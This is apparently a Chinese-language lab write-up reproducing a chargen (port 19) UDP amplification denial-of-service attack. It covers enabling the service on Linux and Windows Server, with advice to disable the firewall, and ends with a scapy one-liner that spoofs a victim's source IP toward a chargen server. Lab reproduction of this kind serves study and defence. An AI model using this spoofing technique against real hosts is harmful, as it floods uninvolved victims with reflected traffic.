chargen 拒绝服务攻击复现 什么是chargen? 字符生成器协议,是RFC864中定义的网络服务。用于测试,调试,测量目的。可以使用tcp或udP连接,服务端口通常为19,会返回随机数量的随机字符。 启用chargen linux开启chargenundefinedlinux下通过inetd使用,路径为/etc/xinetd.d ,通过编辑chargen-config或chargen-dgram配置文件进行开启。 将disable改成no,protocol选择yes. 然后重启inetd服务,service xinetd restart windows开启chargenundefined需用在windows server下开启,归属于simple-tcp/ip服务。 使用powershell进行安装。 Install-WindowsFeature Simple-TCPIP 然后运行services.msc启用该服务即可。 记得关闭防火墙。 协议漏洞 使用nc发送一个请求,返回大量如下字符: 使用chargen进行dros原理正如上图,当往19端口发送一个请求,会返回大量如上数据。 攻击复现 使用python的scapy伪造源ip发送udp数据包:send(IP(src='192.168.216.130',dst='192.168.216.135')/UDP(dport=19,sport=7777)) 192.168.216.135为开了chargen的服务器ip,192.168.216.130为受害机ip 在受害机上抓取pcap如下: 放大24倍左右 |